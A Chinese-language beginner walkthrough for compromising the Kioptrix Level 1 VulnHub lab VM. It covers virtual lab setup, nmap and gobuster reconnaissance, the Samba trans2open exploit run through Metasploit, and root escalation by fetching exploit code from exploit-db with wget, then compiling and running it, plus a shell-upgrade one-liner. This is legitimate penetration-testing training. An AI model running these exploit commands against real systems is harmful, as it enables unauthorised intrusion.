从下载到通关:手把手带你完成你的第一个VulnHub靶机(以某经典入门靶场为例)
从零开始玩转VulnHub:新手首战靶机全流程指南
第一次接触网络安全实战,很多人都会感到无从下手。VulnHub作为全球知名的漏洞靶场平台,提供了数百个精心设计的虚拟机镜像,让安全爱好者可以在合法合规的环境中磨练渗透测试技能。本文将带你从下载镜像开始,一步步完成你的第一个VulnHub靶机挑战。
1. 准备工作:搭建你的虚拟实验室
在开始实战之前,我们需要准备好基础环境。与真实世界的渗透测试不同,VulnHub靶机完全运行在虚拟环境中,这既保证了学习的安全性,也避免了法律风险。
1.1 硬件与软件需求
- 处理器:建议至少4核CPU,现代处理器对虚拟化支持更好
- 内存:主机至少8GB,建议16GB(Kali Linux和靶机各分配2-4GB)
- 存储空间:至少50GB可用空间
- 虚拟化软件:
- VMware Workstation Player(免费版可用)
- VirtualBox(完全免费)
- VMware Fusion(Mac用户)
提示:虽然VirtualBox完全免费,但VMware的兼容性和性能通常更好,特别是在GPU加速方面。
1.2 下载并安装Kali Linux
Kali Linux是渗透测试的标准工具集,我们将使用它作为攻击机:
# 下载最新版Kali Linux镜像 wget https://cdimage.kali.org/kali-2023.3/kali-linux-2023.3-installer-amd64.iso # 验证SHA256校验和 sha256sum kali-linux-2023.3-installer-amd64.iso安装时建议选择"图形化安装",并为虚拟机分配至少2GB内存和40GB磁盘空间。安装完成后,记得执行系统更新:
sudo apt update && sudo apt full-upgrade -y2. 选择并配置你的第一个靶机
对于完全新手,我推荐从Kioptrix Level 1或DC-1开始。这些靶机设计简单,漏洞明确,非常适合建立信心。
2.1 下载靶机镜像
以Kioptrix Level 1为例:
- 访问VulnHub官网(https://www.vulnhub.com)
- 搜索"Kioptrix Level 1"
- 下载OVA或ZIP格式的镜像文件
# 解压下载的ZIP文件(如需要) unzip Kioptrix_Level_1.ova.zip2.2 导入虚拟机
VMware用户:
- 文件 → 打开 → 选择.ova文件
- 确认虚拟机设置(建议保持默认)
- 点击"导入"
VirtualBox用户:
- 管理 → 导入虚拟电脑
- 选择.ova文件
- 点击"下一步"完成导入
2.3 网络配置关键步骤
正确的网络配置是成功的第一步,也是新手最容易出错的地方:
| 配置项 | 推荐设置 | 说明 |
|---|---|---|
| 网络适配器 | NAT或桥接 | 大多数情况下NAT即可 |
| 高级 → 混杂模式 | 允许全部 | 确保能接收到所有网络包 |
| MAC地址 | 自动生成 | 避免冲突 |
注意:如果使用桥接模式,确保靶机和攻击机在同一物理网络中。
3. 信息收集:发现你的目标
启动靶机后,首要任务是确定它的IP地址。这里我们使用Kali Linux自带的工具。
3.1 发现靶机IP
# 查看本机IP,确定网段 ip a # 扫描本地网络 sudo netdiscover -i eth0 -r 192.168.1.0/24如果netdiscover没有找到靶机,可以尝试更全面的扫描:
nmap -sn 192.168.1.0/243.2 基础端口扫描
发现靶机IP后(假设为192.168.1.105),进行详细扫描:
nmap -sV -sC -O -p- 192.168.1.105 -oA kioptrix_scan这个命令会:
-sV:探测服务版本-sC:运行默认脚本-O:尝试识别操作系统-p-:扫描所有65535个端口-oA:输出所有格式的扫描结果
4. 漏洞利用:从发现到突破
以Kioptrix Level 1为例,扫描结果通常会显示以下关键信息:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99) 80/tcp open http Apache httpd 1.3.20 ((Unix) PHP/4.1.2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP) 443/tcp open ssl/https Apache/1.3.20 (Unix) PHP/4.1.2 1024/tcp open status 1 (RPC #100024)4.1 Web应用测试
访问http://192.168.1.105,你会发现一个简单的网页。使用工具进行深入测试:
# 目录爆破 gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt # 检查已知漏洞 searchsploit Apache 1.3.20 searchsploit PHP 4.1.24.2 Samba漏洞利用
Kioptrix Level 1的Samba服务存在著名的"trans2open"溢出漏洞:
# 查找相关漏洞利用代码 searchsploit samba 2.2 # 使用Metasploit框架 msfconsole use exploit/linux/samba/trans2open set RHOSTS 192.168.1.105 exploit成功执行后,你将获得一个低权限shell。
5. 权限提升:从普通用户到root
获得初始访问后,下一步是提升权限。在Kioptrix Level 1中,可以通过以下步骤:
5.1 信息收集
# 查看当前用户权限 id # 查找SUID文件 find / -perm -4000 2>/dev/null # 检查内核版本 uname -a5.2 利用SUID文件
在Kioptrix中,/usr/bin/screen-4.0.2存在漏洞:
# 下载并编译利用代码 wget http://www.exploit-db.com/download/1374 -O exploit.c gcc exploit.c -o exploit chmod +x exploit ./exploit执行成功后,你将获得root权限,可以查看最终的flag文件:
cat /root/the-flag.txt6. 常见问题与解决方案
在实际操作中,新手常会遇到以下问题:
问题1:扫描不到靶机IP
- 检查虚拟网络设置,确保攻击机和靶机使用相同的网络模式
- 尝试关闭防火墙:
sudo systemctl stop firewalld - 使用更激进的扫描:
nmap -Pn 192.168.1.0/24
问题2:漏洞利用失败
- 确认服务版本与漏洞匹配
- 尝试不同的利用代码
- 检查payload是否适合目标系统架构
问题3:获得的shell不稳定
- 使用以下方法升级shell:
python -c 'import pty; pty.spawn("/bin/bash")' - 或者使用metasploit的session升级:
sessions -u <session_id>
7. 进阶建议与学习路径
完成第一个靶机后,你可以尝试:
- 记录详细过程:写一份完整的渗透测试报告
- 尝试其他方法:用不同方式攻破同一个靶机
- 挑战更难靶机:如DC系列或HackTheBox的入门靶机
- 加入社区:VulnHub论坛和Discord群组有很多热心玩家
# 推荐的下一个靶机 DC-1: https://www.vulnhub.com/entry/dc-1,292/